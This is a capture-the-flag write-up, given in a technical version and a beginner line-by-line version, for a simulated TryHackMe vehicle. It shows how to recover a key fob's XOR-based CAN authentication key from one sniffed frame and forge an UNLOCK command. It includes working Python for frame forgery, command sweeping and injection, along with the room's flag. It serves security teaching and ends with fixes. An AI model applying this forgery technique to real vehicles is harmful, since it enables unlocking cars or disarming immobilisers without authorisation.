Phantom Fob: How a Plaintext Counter on CAN Bus Let Me Forge Any Fob Command
The key fob authentication used a reversible XOR of counter, key and command, so a single sniffed frame revealed the secret key. An attacker could then forge any command, including an UNLOCK command the fob never sends.
The vehicle’s key fob authenticates each command using a rolling counter combined with a secret key via a simple XOR function:
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Room: TryHackMe, Phantom Fob Category: Automotive / Embedded Security, CAN Bus Target: [redacted] Platform: Kali Linux

Context
Phantom Fob is a TryHackMe room that simulates a vehicle whose key fob authenticates every command with a rolling counter combined with a secret key, using a simple XOR function:
authentication_byte = counter XOR key XOR command
Every term on the right-hand side is either transmitted in the clear or present in the frame being authenticated, so the scheme is fully invertible. A single sniffed key-fob transmission is enough to recover the secret key, after which valid frames can be built for any command value, including an UNLOCK command that the physical fob is never given the ability to send.
The room appears to randomise the fob's CAN ID, frame layout constants and command byte values on each deployment. All specific hexadecimal values below were observed on one instance and are presented as a worked example. The method, identifying byte roles, deriving the authentication relationship and exploiting it, is what should generalise to other instances.
Setup
The work used a Kali Linux host, nmap for the initial sweep, and a small Python client speaking the socketcand text protocol to the CAN gateway. No credentials or accounts are involved: the web dashboard and the CAN gateway are both reachable directly on the target.
Finding it
1. Reconnaissance
A full TCP port sweep was run against the target:
nmap -Pn -p- --min-rate 4000 -T4 [redacted]
Results:
| Port | State | Service |
|---|---|---|
| 22 | open | ssh |
| 8080 | open | http-proxy |
| 29536 | open | unknown |
SSH was not part of the intended attack path. The two ports of interest were:
- 8080: a web dashboard for the simulated vehicle.
- 29536: later identified as
socketcand, providing raw access to the vehicle's CAN Bus.
2. Web dashboard review
Navigating to http://[redacted]:8080 presented an instrument-cluster style interface with four fob controls:

LOCKHORNIMMOB_ARMIMMOB_DISARM
No UNLOCK control was present. Since LOCK exists, the vehicle must retain the capability to unlock; the fob simply never transmits that command. That absence framed the objective for the rest of the assessment.
The dashboard also exposes an /events endpoint streaming live vehicle state. It was kept open throughout the engagement, because that is where state changes, and ultimately the flag, surface.
Given that the interesting logic clearly resided in fob-to-vehicle communication rather than the web layer, further web enumeration was deprioritised in favour of direct bus analysis.
3. Establishing a CAN Bus connection
Port 29536 implements the socketcand text protocol. The session handshake is:
< open vcan0 >< rawmode >
Once in raw mode, frames stream continuously, and arbitrary frames can be transmitted using send:
< send 421 8 1e e5 2d 99 b6 59 3f 76 >
A minimal Python client was used to establish the connection and stream incoming frames:
import socket
HOST = "[redacted]"PORT = 29536s = socket.create_connection((HOST, PORT))print(s.recv(1024).decode())s.sendall(b"< open vcan0 >\n")print(s.recv(1024).decode())s.sendall(b"< rawmode >\n")while True: data = s.recv(4096) if data: print(data.decode(errors="ignore"))
4. Baseline traffic analysis
Before attempting any injection, bus traffic was observed passively while each dashboard control was exercised in turn. Correlating button presses with newly observed frames made it possible to separate command traffic from routine periodic broadcasts.
Four attributes were tracked per frame: CAN ID, data payload, transmission frequency, and behaviour under button press.
5. Identifying candidate CAN IDs
Three CAN IDs stood out from background traffic:
| CAN ID | Purpose |
|---|---|
0x39E |
Vehicle status |
0x421 |
Key-fob commands |
0x565 |
Rolling counter feed |
0x421 appeared exactly once per button press. 0x565 transmitted continuously and independently of button presses. 0x39E also changed on button presses, though, as shown next, not for the reason initially assumed.
This produced three lines of investigation:
0x39E: what does vehicle state actually represent?0x421: how is a fob command constructed?0x565: what role does this play, if any, in authentication?
6. CAN ID 0x39E: status, not control
A representative 0x39E frame:
01 01 00 A5 00 00 00 00
| Byte | Field | Notes |
|---|---|---|
| 0 | Door state | 00 = unlocked, 01 = locked |
| 1 | Immobiliser | |
| 2 | Horn | |
| 3 | , | Constant 0xA5 |
Test: injecting a crafted "unlocked" status frame directly:
39E 00 00 00 A5 00 00 00 00
Result: the dashboard display updated to show the vehicle as unlocked, but the underlying vehicle state did not change, and no flag was exposed.
Conclusion: 0x39E is an outbound status report consumed by the dashboard only. It is not treated as an authoritative command by the vehicle. This ruled out the most direct approach and confirmed that 0x421 was the actual command channel requiring further analysis.
7. CAN ID 0x421: fob command frame structure
Each 0x421 frame is 8 bytes. Pressing each button individually and comparing the resulting frames yielded the following command values:
| Button | Command byte |
|---|---|
| LOCK | 0xCD |
| HORN | 0x3F |
| IMMOB_ARM | 0xBF |
| IMMOB_DISARM | 0x53 |
Example captured frame:
1e e5 2d 99 b6 59 3f 76
Labelling the bytes b0 to b7 and comparing multiple captures produced the following structure:
| Byte | Role |
|---|---|
b0 |
Code (paired with b4) |
b1 |
Authentication byte |
b2b3 |
Constant 2D 99 |
b4 |
Code (paired with b0) |
b5 |
Rolling counter, increments by 1 per press |
b6 |
Command byte |
b7 |
Constant 76 |
The fact that b5 incremented by exactly one on every press, regardless of which button was pressed, identified it unambiguously as a counter rather than part of any command-specific code, and indicated that authentication was a function of that counter.
8. Deriving the authentication formula
With b5 established as the counter, the relationship between it and b1 (the authentication byte) was examined by comparing frames from the same button across consecutive counter values:
Counter = 5E b1 = B3 B3 XOR 5E = EDCounter = 5F b1 = B2 B2 XOR 5F = EDCounter = 60 b1 = 8D 8D XOR 60 = ED
The XOR of b1 and the counter remained constant across all three samples. Since the command byte was also held constant in this comparison (the same button was pressed each time), this indicated the relationship:
b1 = counter XOR key XOR command
Because the command byte for each captured frame is already known (it corresponds directly to the button pressed), the formula can be rearranged to solve for the key:
key = b1 XOR counter XOR command
This is the core weakness in the scheme. A single sniffed 0x421 frame contains every value the formula requires: the authentication byte and the counter are both present in the frame itself, and the command is determined by which button produced it. No brute-forcing or cryptanalysis is required: the key is recovered with one XOR operation from one captured transmission.
9. CAN ID 0x565: live counter tracking
With the key recovered, the remaining challenge was operational rather than cryptographic: the counter advances continuously on the vehicle's own clock, independent of fob activity. A frame forged against a counter value from even a few seconds earlier will be rejected as stale.
0x565 addresses this. One byte in its payload increments on a steady timer, independent of button presses:
17 34 AB 00 00 00 00 0034 DA AC 00 00 00 00 00C6 C5 AD 00 00 00 00 00
AB → AC → AD matches the same counter value used as b5 in 0x421. By monitoring 0x565 continuously, the current, valid counter value is available at all times, without requiring the physical fob to be pressed again for each subsequent forged command.
Exploitation
Step 1: Construct a forged frame
With b0, b4, the live counter and the recovered key available, an arbitrary command can be constructed:
new_b1 = new_counter XOR key XOR new_commandframe = b0 | new_b1 | 2D 99 | b4 | new_counter | new_command | 76
new_b1 = new_counter ^ key ^ new_command
frame = ( f"{b0:02X}" f"{new_b1:02X}" f"2D99" f"{b4:02X}" f"{new_counter:02X}" f"{new_command:02X}" f"76")
Step 2: Validate the technique with IMMOB_DISARM
Before targeting the unknown UNLOCK command, the forgery technique was validated using a known command (IMMOB_DISARM, 0x53) to produce an unambiguous, observable result.
Captured frame:
17 47 2D 99 21 97 CD 76
Parsed values:
code = 1721counter = 97command = CD (LOCK)
Key recovery:
key = B1 ^ counter ^ command = 47 ^ 97 ^ CD = 1D
Forged IMMOB_DISARM frame (using the current counter and recovered key):
17 D6 2D 99 21 98 53 76
Result: upon injection, the dashboard's immobiliser state transitioned from ARMED to DISARMED, confirming that the forged frame was accepted as authentic by the vehicle. This validated the recovered key and the frame construction logic.
Step 3: Deal with the timing window
The counter advances continuously, and each authentication byte is valid for approximately 0.9 seconds before the window expires. A manual workflow (capture, compute, type, send) is too slow to reliably stay within this window.
Consequently, the full pipeline (reading the live counter, computing the authentication byte, assembling the frame, and transmitting it) was implemented as a single automated sequence with no manual steps in the critical path.
Step 4: Enumerate the command space to locate UNLOCK
Known commands at this stage:
| Command | Value |
|---|---|
| LOCK | 0xCD |
| HORN | 0x3F |
| IMMOB_ARM | 0xBF |
| IMMOB_DISARM | 0x53 |
The command field is a single byte, giving 256 possible values. Rather than guess semantically, the full range was swept programmatically, with the live counter re-read and the authentication byte recomputed for every attempt:
for command in range(256): live_counter = read_current_counter() # latest value seen on 0x565 new_b1 = live_counter ^ key ^ command
frame = ( f"{b0:02X}{new_b1:02X}2D99{b4:02X}" f"{live_counter:02X}{command:02X}76" ) send_bus(sock, "421", frame)
Reading the counter immediately before each transmission is essential: the counter's value is governed entirely by the vehicle's own clock, not by anything under attacker control, so each attempt must target the vehicle's actual current state rather than a precomputed value. Each iteration therefore pairs a valid, current counter and a correctly derived authentication byte with a single varying command, isolating command as the only unknown per attempt.
Step 5: Inject frames via socketcand
Injection follows the standard socketcand send format:
< send CAN_ID LENGTH DATA >
def send_bus(sock, can_id, data_hex): data = [data_hex[i:i + 2].lower() for i in range(0, len(data_hex), 2)] packet = f"< send {can_id} {len(data)} {' '.join(data)} >\n" sock.sendall(packet.encode())
Step 6: Attack chain summary
Connect to socketcand │ ▼Open vcan0, enter raw mode │ ▼Capture one legitimate 0x421 frame │ ▼Extract b0 / b1 / b4 / counter / command │ ▼Recover key = b1 XOR counter XOR command │ ▼Track live counter via 0x565 │ ▼Sweep command 0x00–0xFF, recomputing counter + auth byte per attempt │ ▼Inject each candidate frame on 0x421 │ ▼Monitor /events (or 0x39E) for a state change │ ▼Retrieve flag
Step 7: Result
Enumerating the command byte space while maintaining a valid, live counter and correctly derived authentication byte produced a frame the vehicle accepted as the missing UNLOCK command. The resulting state change was observed on the /events stream, along with the flag:
THM{C4r_H4cking_is_kind4_c00l}
Root cause
The authentication byte is a linear (XOR) combination of counter, key and command. XOR is its own inverse, so the function is algebraically invertible in either direction. Worse, every input to the function is observable: the counter and the authentication byte travel inside the very frame being authenticated, the command byte is in the same frame, and the counter is additionally broadcast in the clear on 0x565. One captured 0x421 frame therefore yields the key with a single XOR.
The rolling counter and the roughly 0.9-second validity window raise the bar against casual manual replay but do not stop scripted forgery. They do nothing against an automated script that re-reads the counter and recomputes the authentication byte for every attempt. The status channel 0x39E is not a defence either: it is a display feed, and injecting into it changes only what the dashboard shows, not the vehicle state.
Impact
An attacker with access to the CAN gateway can recover the fob key from one observed transmission and then forge valid frames for any command value, including commands the physical fob cannot send, such as UNLOCK. In the room this produced a state change on the vehicle and the flag. The technique depends on being able to observe at least one legitimate 0x421 frame and on reading the live counter from 0x565 within the validity window; the report does not describe any other precondition.
Fix
The report's recommendations, in its own framing:
- A rolling-code scheme should not expose all inputs to its authentication function within the same message it is meant to protect.
- Authentication values should be derived with a one-way cryptographic function (for example a keyed HMAC), not a reversible bitwise operation.
- A short validity window is defence in depth, not a primary control; it restricts manual replay but not scripted forgery.
- Validate any channel that appears to control state by checking the underlying system state, not just a UI reflection of it.
- Baseline behaviour before interaction is a reliable strategy for reverse-engineering an unfamiliar protocol, and full-range port scanning should precede targeted analysis.
The overall assessment is that addressing either gap independently, encrypting the counter feed alone or changing the command encoding alone, would not have been sufficient; the authentication formula itself needed to be non-invertible.
Variants to test
- Other rolling-counter schemes on CAN. Capture a few frames from the same button across consecutive counter values and XOR the authentication byte with the counter. A constant result means the same linear relationship; recover the key with
key = b1 XOR counter XOR commandand forge a known command first. - Separate counter broadcast channels. Look for a periodic frame whose payload byte advances on a timer and matches the counter byte in command frames. A positive result gives you a live counter source without pressing the fob.
- Status versus command channels. Inject a crafted status frame and check whether the underlying state changes or only the UI. If only the UI changes, the channel is a report, not a command.
- Single-byte command fields. Sweep the full 0x00 to 0xFF range, recomputing the counter and authentication byte per attempt, and watch the event stream for a state change. A positive result is a state transition the dashboard controls cannot produce.
- Timing windows. Measure how long an authentication byte remains valid by replaying a captured frame with a fixed counter. A short window means automation is required; it does not mean the scheme is safe.
What happened, in plain words
A car in this exercise has a remote key fob, the little clicker that locks and unlocks doors. The car and the fob talk to each other over a wire inside the vehicle called a CAN Bus. Every time you press a button, the fob sends a short message, and the car checks that the message is genuine before acting on it.
The check works like this: the fob mixes together three things, a number that goes up by one on every press (a counter), a secret key, and the command itself (lock, horn, and so on). It combines them with a simple mathematical operation called XOR. The result is a single byte, the authentication byte, which travels with the message.
The flaw is that all three ingredients are visible to anyone listening. The counter and the authentication byte are inside the very message being protected, and the command is obvious from which button was pressed. Because XOR can be undone as easily as it is done, one captured message is enough to work out the secret key. With the key in hand, you can build a valid message for any command you like, including an UNLOCK command that the physical fob is never allowed to send.
The rest of this article walks through how that was done, step by step. Every tool and idea is explained from scratch, so you only need to be comfortable using a computer and a browser.
Background: the ideas you need
Before the steps, here are the concepts that come up again and again. Skim them now and come back when one appears.
- CAN Bus: the internal network of a car. Instead of one central computer, many small computers (engine, doors, immobiliser, dashboard) share a pair of wires and send short messages to each other. Think of it as a group chat where every device hears every message and decides for itself which ones concern it.
- CAN frame: one message on that network. It has an identifier (CAN ID) saying what kind of message it is, and a small payload of data bytes, usually eight of them.
- CAN ID: a number that labels a frame, a bit like a subject line. Devices listen for the IDs they care about. In this exercise IDs are written in hexadecimal, for example
0x421. - Hexadecimal: a way of writing numbers using 0 to 9 and A to F. One hexadecimal pair such as
2Drepresents one byte, a number from 0 to 255. Programmers use it because bytes map neatly onto two hex digits. - Byte: the basic unit of data, eight bits, holding a value from 0 to 255.
- XOR: a bitwise operation, written
XORor^. It compares two values bit by bit and outputs 1 where they differ, 0 where they match. Its useful property is that it is reversible: ifA XOR B = C, thenC XOR B = A. It is like a lock that opens with the same key you used to close it. - Key (secret key): a secret value the car and the fob both know and nobody else should. It is what makes a message hard to forge, if it is used properly.
- Rolling counter: a number that increases by one with each message. It stops someone from recording a message and sending it again later, because the car expects the next number, not an old one.
- Replay: sending a recorded message again, hoping the receiver accepts it a second time.
- Port: a numbered door on a computer that a particular service listens on. A web server usually listens on port 80 or 8080; other services use other numbers.
- Port scan: trying every port on a machine to see which ones answer, like walking down a corridor trying every door handle.
- socketcand: a small program that lets you read and send CAN frames over a network connection, using a simple text protocol. It is a bridge between a normal computer and the car's internal network.
- Raw mode: a mode of socketcand in which it passes frames through without filtering or interpreting them.
- Endpoint: a specific address on a web server, such as
/events, that returns data or performs an action. Think of the website as a building and endpoints as the individual counters inside it. - Flag: in these exercises, a secret string you retrieve once you have completed the challenge, proving you got there.
- Immobiliser: the car's anti-theft system. When armed, the engine will not start.
The setup
The exercise is a TryHackMe room called Phantom Fob. TryHackMe is a website that hosts practice environments you can connect to and attack legally. The room simulates a vehicle with a web dashboard and a CAN Bus gateway.
The only tools needed are a Kali Linux machine (a Linux distribution made for security work, with many tools preinstalled), the port scanner nmap, and a short Python program to talk to the CAN gateway. No usernames or passwords are involved: both the dashboard and the gateway are reachable directly.

Finding it
1. Reconnaissance
Reconnaissance means looking around before touching anything: finding out which services the target offers. The first step was a full TCP port sweep, which tries every port to see which ones accept a connection.
nmap -Pn -p- --min-rate 4000 -T4 [redacted]
Line by line:
nmap: the port scanner program.-Pn: do not bother checking whether the host is alive first; assume it is and scan anyway. Some hosts ignore the usual liveness probe, so this avoids a false negative.-p-: scan all 65,535 ports, not just the common ones.--min-rate 4000: send at least 4,000 probes per second, which makes a full scan finish quickly.-T4: a timing template, a preset that makes the scan more aggressive than the default.[redacted]: the address of the target machine.
The results were:
| Port | State | Service |
|---|---|---|
| 22 | open | ssh |
| 8080 | open | http-proxy |
| 29536 | open | unknown |
Port 22 is SSH, a way to log into a machine remotely. It was not part of the intended path. Two ports mattered:
- 8080: a web dashboard for the simulated vehicle.
- 29536: later identified as
socketcand, giving raw access to the vehicle's CAN Bus.
Why this step: you cannot attack what you cannot see. A full scan tells you the whole surface before you commit to a direction.
2. Web dashboard review
Opening http://[redacted]:8080 in a browser showed an instrument-cluster style interface, like the dashboard of a car, with four buttons for the fob:

LOCKHORNIMMOB_ARMIMMOB_DISARM
This is the list of the four controls as they appear: LOCK, HORN, IMMOB_ARM and IMMOB_DISARM. In plain words: lock the doors, sound the horn, arm the immobiliser (engine disabled), disarm the immobiliser (engine enabled).
There was no UNLOCK button. That is the interesting part. If the car can be locked, it must also be able to be unlocked, so the capability exists inside the vehicle; the fob simply never sends that command. The goal of the exercise became clear: make the car unlock without a button for it.
The dashboard also has an endpoint called /events, which streams the vehicle's live state. An endpoint is a specific address on a server that returns data; /events keeps the connection open and sends updates as things change, like a live ticker. It was left open for the whole exercise, because that is where state changes, and eventually the flag, appear.
Since the interesting logic was clearly in how the fob talks to the car, not in the web page, further web exploration was set aside in favour of looking at the bus directly.
3. Establishing a CAN Bus connection
Port 29536 speaks the socketcand text protocol. Think of socketcand as a translator standing between your computer and the car's internal network: you send it short text commands, and it reads or writes CAN frames for you.
The session handshake is:
< open vcan0 >< rawmode >
Line by line:
< open vcan0 >: open the CAN interface namedvcan0.vcanstands for virtual CAN, a simulated bus, which is what this exercise uses instead of real hardware.< rawmode >: switch to raw mode, meaning frames are passed through as they are, without filtering or interpretation.
Once in raw mode, frames stream continuously, and you can send your own frames with send:
< send 421 8 1e e5 2d 99 b6 59 3f 76 >
Line by line:
< send ... >: the command to transmit a frame.421: the CAN ID, in hexadecimal, without the0xprefix.8: the number of data bytes that follow.1e e5 2d 99 b6 59 3f 76: the eight data bytes themselves.
A minimal Python client was used to connect and print incoming frames:
import socket
Line by line:
import socket: load Python's built-in networking module, which lets a program open a network connection.
HOST = "[redacted]"PORT = 29536s = socket.create_connection((HOST, PORT))print(s.recv(1024).decode())s.sendall(b"< open vcan0 >\n")print(s.recv(1024).decode())s.sendall(b"< rawmode >\n")while True: data = s.recv(4096) if data: print(data.decode(errors="ignore"))
Line by line:
HOST = "[redacted]"andPORT = 29536: the address and port of the socketcand service.s = socket.create_connection((HOST, PORT)): open a connection to that address and port, storing it ins.print(s.recv(1024).decode()): read up to 1,024 bytes the server sends first (a greeting) and print it as text.s.sendall(b"< open vcan0 >\n"): send the open command. Thebprefix means the string is sent as raw bytes, and\nends the line.print(s.recv(1024).decode()): print the server's reply to the open command.s.sendall(b"< rawmode >\n"): switch to raw mode.while True:: loop forever.data = s.recv(4096): read up to 4,096 bytes of whatever the server sends next.if data:: only act if something was actually received.print(data.decode(errors="ignore")): print it as text, ignoring bytes that are not valid text.
Why this step: to study the car's messages, you need a way to listen to them. This little program is that listening post.
4. Baseline traffic analysis
Before sending anything, the traffic was watched passively while each dashboard button was pressed in turn. Comparing button presses with the frames that appeared made it possible to tell command traffic apart from routine background chatter.
Four things were tracked for each frame: the CAN ID, the data payload (the bytes), how often it appeared, and how it behaved when a button was pressed. This is like learning a language by listening before speaking: you note which words appear when someone does something.
5. Identifying candidate CAN IDs
Three CAN IDs stood out from the background:
| CAN ID | Purpose |
|---|---|
0x39E |
Vehicle status |
0x421 |
Key-fob commands |
0x565 |
Rolling counter feed |
0x421 appeared exactly once per button press. 0x565 transmitted continuously, whether or not a button was pressed. 0x39E also changed on button presses, though, as the next section shows, not for the reason first assumed.
That gave three questions to answer:
0x39E: what does vehicle state actually represent?0x421: how is a fob command built?0x565: what role does it play, if any, in authentication?
6. CAN ID 0x39E: status, not control
A representative 0x39E frame:
01 01 00 A5 00 00 00 00
Line by line, as the report maps it:
| Byte | Field | Notes |
|---|---|---|
| 0 | Door state | 00 = unlocked, 01 = locked |
| 1 | Immobiliser | |
| 2 | Horn | |
| 3 | , | Constant 0xA5 |
So the first byte says whether the doors are locked, the next two carry immobiliser and horn state, and the fourth is always 0xA5, a fixed marker.
Test: a crafted "unlocked" status frame was injected directly:
39E 00 00 00 A5 00 00 00 00
Line by line:
39E: the CAN ID, in hexadecimal.00 00 00 A5 00 00 00 00: the eight data bytes, with the door byte set to00, meaning unlocked.
Result: the dashboard display updated to show the vehicle as unlocked, but the underlying vehicle state did not change, and no flag appeared.
Conclusion: 0x39E is an outbound status report that only the dashboard reads. The car does not treat it as a command. This ruled out the most direct approach and confirmed that 0x421 was the real command channel.
Why this matters: a display that changes is not proof that anything real changed. Always check the underlying system, not just what a screen shows.
7. CAN ID 0x421: fob command frame structure
Each 0x421 frame is eight bytes. Pressing each button on its own and comparing the resulting frames gave these command values:
| Button | Command byte |
|---|---|
| LOCK | 0xCD |
| HORN | 0x3F |
| IMMOB_ARM | 0xBF |
| IMMOB_DISARM | 0x53 |
Example captured frame:
1e e5 2d 99 b6 59 3f 76
Line by line: eight bytes, which the report labels b0 to b7 in order. Comparing several captures gave this structure:
| Byte | Role |
|---|---|
b0 |
Code (paired with b4) |
b1 |
Authentication byte |
b2b3 |
Constant 2D 99 |
b4 |
Code (paired with b0) |
b5 |
Rolling counter, increments by 1 per press |
b6 |
Command byte |
b7 |
Constant 76 |
In plain words: two bytes (b0 and b4) form a fixed code pair, b1 is the authentication byte, b2 and b3 are always 2D 99, b5 is the counter, b6 is the command, and b7 is always 76.
The fact that b5 went up by exactly one on every press, whichever button was used, identified it clearly as a counter rather than part of a command code, and suggested that authentication depended on that counter.
8. Deriving the authentication formula
With b5 known to be the counter, the relationship between it and b1 (the authentication byte) was examined by comparing frames from the same button across consecutive counter values:
Counter = 5E b1 = B3 B3 XOR 5E = EDCounter = 5F b1 = B2 B2 XOR 5F = EDCounter = 60 b1 = 8D 8D XOR 60 = ED
Line by line:
Counter = 5E b1 = B3 B3 XOR 5E = ED: on one press the counter was5Eand the authentication byteB3; XORing them givesED.Counter = 5F b1 = B2 B2 XOR 5F = ED: on the next press the counter was5Fand the authentication byteB2; XORing them again givesED.Counter = 60 b1 = 8D 8D XOR 60 = ED: on the third press the counter was60and the authentication byte8D; againED.
The result of XORing b1 with the counter stayed the same across all three samples. Since the command byte was also constant in this comparison (the same button each time), that pointed to the relationship:
b1 = counter XOR key XOR command
Line by line: the authentication byte equals the counter, XORed with the secret key, XORed with the command byte. In everyday terms, the fob mixes three numbers together and sends the result; the car does the same mix and checks that the results match.
Because the command byte for each captured frame is already known (it is simply the button that was pressed), the formula can be rearranged to solve for the key:
key = b1 XOR counter XOR command
Line by line: take the authentication byte from the frame, XOR it with the counter from the same frame, XOR that with the known command, and you have the secret key.
This is the core weakness. A single captured 0x421 frame contains everything the formula needs: the authentication byte and the counter are both in the frame, and the command is known from which button was pressed. No guessing and no heavy mathematics are required: one XOR operation on one captured message recovers the key.
9. CAN ID 0x565: live counter tracking
With the key recovered, the remaining problem was practical, not mathematical: the counter keeps moving on the car's own clock, whether or not anyone presses the fob. A frame built for a counter value from even a few seconds ago will be rejected as stale.
0x565 solves that. One byte in its payload goes up on a steady timer, independent of button presses:
17 34 AB 00 00 00 00 0034 DA AC 00 00 00 00 00C6 C5 AD 00 00 00 00 00
Line by line: three consecutive frames. In the first, the third byte is AB; in the second it is AC; in the third it is AD. The rest of each payload is mostly zeros. AB → AC → AD matches the same counter value used as b5 in 0x421.
By watching 0x565 continuously, the current valid counter value is always available, without needing to press the physical fob again for each forged command.
Exploitation
Step 1: Construct a forged frame
With b0, b4, the live counter and the recovered key in hand, any command can be built:
new_b1 = new_counter XOR key XOR new_commandframe = b0 | new_b1 | 2D 99 | b4 | new_counter | new_command | 76
Line by line:
new_b1 = new_counter XOR key XOR new_command: compute a fresh authentication byte for the counter value you are about to use and the command you want to send.frame = b0 | new_b1 | 2D 99 | b4 | new_counter | new_command | 76: assemble the eight bytes in the same order as a real frame. The|symbol here just means "followed by".
new_b1 = new_counter ^ key ^ new_command
Line by line: the same calculation written in Python style, where ^ means XOR.
frame = ( f"{b0:02X}" f"{new_b1:02X}" f"2D99" f"{b4:02X}" f"{new_counter:02X}" f"{new_command:02X}" f"76")
Line by line:
frame = (: start building a text string, split over several lines for readability.f"{b0:02X}": insertb0as two uppercase hexadecimal digits. Thef"..."syntax means the braces are replaced by values, and:02Xmeans "two digits, uppercase hex, pad with a zero if needed".f"{new_b1:02X}": the freshly computed authentication byte, same format.f"2D99": the constant pair, written literally.f"{b4:02X}": the second half of the code pair.f"{new_counter:02X}": the live counter.f"{new_command:02X}": the command you want to send.f"76": the constant final byte.
Why this step: this is the recipe for a message the car will accept as genuine, even though the fob never sent it.
Step 2: Validate the technique with IMMOB_DISARM
Before hunting for the unknown UNLOCK command, the technique was tested with a known command (IMMOB_DISARM, 0x53), so the result would be obvious and easy to see.
Captured frame:
17 47 2D 99 21 97 CD 76
Line by line: a real frame captured from the bus, eight bytes.
Parsed values:
code = 1721counter = 97command = CD (LOCK)
Line by line:
code = 1721: the code pair,b0=17andb4=21.counter = 97: the counter byte,b5.command = CD (LOCK): the command byte,b6, which corresponds to LOCK.
Key recovery:
key = B1 ^ counter ^ command = 47 ^ 97 ^ CD = 1D
Line by line: take the authentication byte 47, XOR it with the counter 97, XOR that with the command CD, and the result is 1D, the secret key.
Forged IMMOB_DISARM frame (using the current counter and recovered key):
17 D6 2D 99 21 98 53 76
Line by line: the same code pair 17 and 21, a new authentication byte D6, the constant 2D 99, the new counter 98, the command 53 (IMMOB_DISARM), and the constant 76.
Result: when injected, the dashboard's immobiliser state changed from ARMED to DISARMED, confirming that the car accepted the forged frame as genuine. That validated both the recovered key and the frame-building logic.
Why this step: proving the method with a command you can already send gives a clear, unambiguous signal that it works, before you use it on something unknown.
Step 3: Deal with the timing window
The counter keeps moving, and each authentication byte is valid for roughly 0.9 seconds before it expires. Doing it by hand (capture, calculate, type, send) is too slow to stay inside that window.
So the whole pipeline (read the live counter, compute the authentication byte, assemble the frame, send it) was run as one automated sequence, with no manual steps in the critical path.
Why this step: speed is part of the attack. A correct message sent too late is just a rejected message.
Step 4: Enumerate the command space to locate UNLOCK
Known commands at this stage:
| Command | Value |
|---|---|
| LOCK | 0xCD |
| HORN | 0x3F |
| IMMOB_ARM | 0xBF |
| IMMOB_DISARM | 0x53 |
The command field is a single byte, so there are 256 possible values (0 to 255). Rather than guess what UNLOCK might be, the whole range was tried in a loop, re-reading the live counter and recomputing the authentication byte for every attempt:
for command in range(256): live_counter = read_current_counter() # latest value seen on 0x565 new_b1 = live_counter ^ key ^ command
Line by line:
for command in range(256):: loop over every possible command value from 0 to 255.live_counter = read_current_counter(): read the newest counter value seen on0x565.# latest value seen on 0x565: a comment explaining where that value comes from.new_b1 = live_counter ^ key ^ command: compute the matching authentication byte for this attempt.
frame = ( f"{b0:02X}{new_b1:02X}2D99{b4:02X}" f"{live_counter:02X}{command:02X}76" ) send_bus(sock, "421", frame)
Line by line:
frame = (: start assembling the eight-byte frame as text.f"{b0:02X}{new_b1:02X}2D99{b4:02X}": the first four bytes: the code byte, the authentication byte, the constant2D99, and the second code byte.f"{live_counter:02X}{command:02X}76": the last four bytes: the live counter, the command being tried, and the constant76.send_bus(sock, "421", frame): send the frame on CAN ID421.
Reading the counter immediately before each send is essential: its value is set by the car's own clock, not by anything the attacker controls, so every attempt must target the car's actual current state rather than a value worked out in advance. Each loop therefore pairs a valid, current counter and a correctly derived authentication byte with a single varying command, leaving the command as the only unknown per attempt.
Why this step: you do not know which number means UNLOCK, but there are only 256 possibilities, and a computer can try them all faster than the window expires.
Step 5: Inject frames via socketcand
Sending a frame follows the standard socketcand send format:
< send CAN_ID LENGTH DATA >
Line by line:
< send ... >: the command to transmit.CAN_ID: which CAN ID to send on.LENGTH: how many data bytes follow.DATA: the bytes themselves.
def send_bus(sock, can_id, data_hex): data = [data_hex[i:i + 2].lower() for i in range(0, len(data_hex), 2)] packet = f"< send {can_id} {len(data)} {' '.join(data)} >\n" sock.sendall(packet.encode())
Line by line:
def send_bus(sock, can_id, data_hex):: define a reusable function that takes the connection, the CAN ID and the data as a hex string.data = [data_hex[i:i + 2].lower() for i in range(0, len(data_hex), 2)]: split the hex string into two-character chunks, lowercased, giving a list of bytes as text.packet = f"< send {can_id} {len(data)} {' '.join(data)} >\n": build the socketcand command, with the CAN ID, the number of bytes, the bytes separated by spaces, and a newline at the end.sock.sendall(packet.encode()): send it over the connection as raw bytes.
Why this step: this is the hand that actually presses the send button, turning the assembled frame into something on the wire.
Step 6: Attack chain summary
Connect to socketcand │ ▼Open vcan0, enter raw mode │ ▼Capture one legitimate 0x421 frame │ ▼Extract b0 / b1 / b4 / counter / command │ ▼Recover key = b1 XOR counter XOR command │ ▼Track live counter via 0x565 │ ▼Sweep command 0x00–0xFF, recomputing counter + auth byte per attempt │ ▼Inject each candidate frame on 0x421 │ ▼Monitor /events (or 0x39E) for a state change │ ▼Retrieve flag
Line by line, the chain reads:
- Connect to socketcand.
- Open
vcan0and enter raw mode. - Capture one genuine
0x421frame. - Extract
b0,b1,b4, the counter and the command. - Recover the key with
key = b1 XOR counter XOR command. - Track the live counter through
0x565. - Sweep commands from
0x00to0xFF, recomputing the counter and authentication byte for each attempt. - Inject each candidate frame on
0x421. - Watch
/events(or0x39E) for a state change. - Retrieve the flag.
Step 7: Result
Trying every command value while keeping a valid, live counter and a correctly derived authentication byte produced a frame the car accepted as the missing UNLOCK command. The resulting state change appeared on the /events stream, along with the flag:
THM{C4r_H4cking_is_kind4_c00l}
Line by line: this is the flag, the proof-of-completion string for the room. It is written in the usual style, with letters replaced by numbers.
Root cause
The authentication byte is a linear (XOR) combination of counter, key and command. XOR undoes itself, so the function can be reversed in either direction. Worse, every input to the function can be seen: the counter and the authentication byte travel inside the very frame being protected, the command byte is in the same frame, and the counter is also broadcast in the clear on 0x565. One captured 0x421 frame therefore gives up the key with a single XOR.
The rolling counter and the roughly 0.9-second validity window raise the bar against casual manual replay but do not stop scripted forgery. They do nothing against a script that re-reads the counter and recomputes the authentication byte for every attempt. The status channel 0x39E is not a defence either: it is a display feed, and injecting into it changes only what the dashboard shows, not the car's state.
Impact
An attacker with access to the CAN gateway can recover the fob key from one observed transmission and then forge valid frames for any command value, including commands the physical fob cannot send, such as UNLOCK. In the room this produced a state change on the vehicle and the flag. The technique depends on being able to observe at least one genuine 0x421 frame and on reading the live counter from 0x565 within the validity window; the report does not describe any other precondition.
Fix
The report's recommendations, in its own framing:
- A rolling-code scheme should not expose all inputs to its authentication function within the same message it is meant to protect.
- Authentication values should be derived with a one-way cryptographic function (for example a keyed HMAC), not a reversible bitwise operation.
- A short validity window is defence in depth, not a primary control; it restricts manual replay but not scripted forgery.
- Validate any channel that appears to control state by checking the underlying system state, not just a UI reflection of it.
